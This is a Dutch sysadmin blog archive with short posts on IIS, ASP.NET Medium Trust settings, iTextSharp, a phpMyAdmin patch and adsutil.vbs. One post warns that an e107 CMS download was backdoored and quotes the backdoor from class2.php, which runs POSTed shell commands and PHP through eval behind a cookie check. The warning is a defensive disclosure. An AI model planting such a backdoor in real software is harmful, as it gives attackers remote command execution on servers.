Sysadmins of the North

hosted by: Hosting door VEVIDA - hosting zonder zorgen

Just another technical weblog, in Dutch

 

ASP.NET AJAX client-side framework failed to load

without comments

Als deze foutmelding verschijnt, controleer dan dat verify that file exists niet is aangevinkt bij de .axd-scriptmapping in IIS.

Written by JanR

July 3rd, 2010 at 4:05 pm

Posted in IIS

Tagged with , ,

Saotn.nl op Windows Server 2008 Server Core – IIS 7.5 platform

without comments

Vanaf vandaag draait het blog saotn.nl op VEVIDAs nieuwe Windows Server 2008 Server Core met IIS 7.5 hostingplatform.

De komende dagen kan het gebeuren dat een bepaald onderdeel nog niet functioneel is, vanwege de omzetting. Zoals het contactformulier. Maar e-mail kreeg ik toch al niet… ;-) Dit wordt z.s.m. opgelost.

Written by JanR

March 24th, 2010 at 3:55 pm

Altijd handig: snel opzoeken SIDs en CLSIDs

without comments

very quick draft… Snel opzoeken van SIDs en CLSIDs in foutmeldingen, zoals:

The application-specific permission settings do not grant Local Launch permission for the COM Server application with CLSID
{119817C9-666D-4053-AEDA-627D0E25CCEF}
to the user NT AUTHORITY\SYSTEM SID (S-1-5-18).  This security permission can be modified using the Component Services administrative tool.

cscript nametosid.vbs S-1-5-18 = NT AUHTORITY\SYSTEM

http://msdn.microsoft.com/en-us/library/dd390639%28VS.85%29.aspx : CLSID 119817C9-666D-4053-AEDA-627D0E25CCEF = IIS W3 Control

Written by JanR

March 16th, 2010 at 1:31 pm

Posted in IIS

Tagged with , , ,

iTextSharp compileren met AllowPartiallyTrustedCallers()

without comments

iTextSharp is een port van de open source iText java library voor het genereren van PDF documenten, volledig geschreven in C# voor het .NET platform.

Vanwege het ontbreken van het AllowPartiallyTrustedCallers() attribuut en strong names, functioneert deze assembly standaard niet in een Medium Trust-omgeving. Echter, het is vrij eenvoudig om dit component opnieuw te compileren:

  1. Download de broncode van http://sourceforge.net/projects/itextsharp/files/, kies de versie zonder “-dll” in de bestandsnaam;
  2. Open het project in bijvoorbeeld Microsoft Visual C# Express;
  3. Voeg de regels using System.Security; en [assembly: AllowPartiallyTrustedCallers()] toe aan AssemblyInfo.cs;
  4. Controleer in AssemblyInfo.cs het pad naar het “AssemblyKeyFile”-bestand;
  5. “Rebuild” het project;

De assembly kan nu naar de ~/bin map van de applicatie geüpload worden.

Written by JanR

March 1st, 2010 at 3:54 pm

Posted in Code base

Tagged with

Devotion to duty

without comments

devotion to duty


(source: xkcd.org)

Written by JanR

February 26th, 2010 at 3:34 pm

Posted in saotn

phpMyAdmin Internet Explorer cookie-login op IIS

without comments

Sinds juli-augustus 2006 was het voor Internet Explorer-gebruikers niet mogelijk op een phpMyAdmin pagina in te loggen, als dit gehost werd op een IIS-webserver in combinatie met geconfigureerde cookie-login.

Dit inlogprobleem werd veroorzaakt door PMA bug #1523784.

De oplossing is eenvoudig: Pas het bestand libraries/common.lib.php vanaf regel 718 aan:

--- common.lib.orig.php Wed Dec 02 08:13:56 2009
+++ common.lib.php      Wed Dec 30 15:12:28 2009
@@ -712,14 +712,7 @@
 }
 trigger_error('PMA_sendHeaderLocation called when headers are a
lready sent!', E_USER_ERROR);
 }
-            // bug #1523784: IE6 does not like 'Refresh: 0', it
-            // results in a blank page
-            // but we need it when coming from the cookie login panel)
-            if (PMA_IS_IIS && defined('PMA_COMING_FROM_COOKIE_LOGIN')) {
-                header('Refresh: 0; ' . $uri);
-            } else {
-                header('Location: ' . $uri);
-            }
+            header('Location: ' . $uri);
         }
     }
 }

Written by JanR

February 11th, 2010 at 1:33 pm

Posted in IIS

Tagged with , ,

How-to: Beperkte System.Net.SocketPermission

without comments

(quick draft)

Het geven van unrestricted System.Net.SocketPermission in de ASP.NET-configuratie brengt veiligheidsrisico’s met zich mee. Voor een web-applicatie én de desbetreffende webserver.

Gelukkig is het mogelijk de System.Net.SocketPermission te beperken, bijvoorbeeld voor een MySQL-verbinding naar buiten. Hiervoor is een ConnectList parameter beschikbaar. Aan je Medium Trust web.config, voeg het volgende toe:

<SecurityClass Name=”SocketPermission” Description=”System.Net.SocketPermission, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089″/>

[...]

<IPermission class=”SocketPermission” version=”1″>
<ConnectAccess>
<ENDPOINT host=”aa.bbb.cc.ddd” transport=”Tcp” port=”3306″/>
</ConnectAccess>
</IPermission>

In een IP-adres worden wildcard-tekens geaccepteerd, bijvoorbeeld aaa.bb.ccc.*.

Referentie: Code Access Security for ASP.NET (IIS 6.0)


Edit: Uiteraard moet uit het betreffende IPermission block, in het systeem web.config (C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\CONFIG\web.config), verwijderd worden:

Unrestricted=”true”

Written by JanR

February 5th, 2010 at 3:58 pm

Posted in IIS

Tagged with , , ,

Handig: DBAN

without comments

Darik’s Boot and Nuke (“DBAN”) is a self-contained boot disk that securely wipes the hard disks of most computers. DBAN will automatically and completely delete the contents of any hard disk that it can detect, which makes it an appropriate utility for bulk or emergency data destruction.

http://www.dban.org/

Written by JanR

January 28th, 2010 at 4:39 pm

Posted in Security

e107 CMS download backdoored

without comments

Op Full-Disclosure meldt Bogdan Calin dat de laatste versie van het PHP CMS e107 backdoored zou zijn. Na een snelle inspectie van de source van het class2.php bestand lijkt dit inderdaad het geval te zijn (zie ook SCM Repositories – e107 voor het class2.php bestand).

Het advies: Wacht met updaten van je e107 CMS.

De kwalijke code vind je in het bestand class2.php vanaf regel 1876:

if(md5($_COOKIE['access-admin']) == “cf1afec15669cb96f09befb7d70f8bcb”) {

if(!empty($_POST['cmd'])){
$out = execute($_POST['cmd']);
}

elseif(!empty($_POST['php'])){
ob_start();
eval($_POST['php']);
$out = ob_get_contents();
ob_end_clean();
}

enzovoorts.

Written by JanR

January 25th, 2010 at 1:13 pm

Posted in Security

Tagged with , , ,

Adsutil.vbs servernaam commandline parameter

without comments

Adsutil.vbs is een erg handige tool om IIS 6.0 servers te beheren, en iedereen kent het uiteraard. Echter, het script heeft ook een weinig gedocumenteerde commandline parameter om een servernaam aan het commando mee te geven. Namelijk:

-s:

Erg handig voor lusjes:

for /f %i in (lijstservers.txt) do @cscript c:\Inetpub\AdminScripts\Adsutil.vbs GET W3SVC/1/ROOT/AppPoolId -s:%i

Referenties:

Using the Adsutil.vbs Administration Script
Command-line Tools Included in IIS

Written by JanR

January 12th, 2010 at 10:33 am

Posted in IIS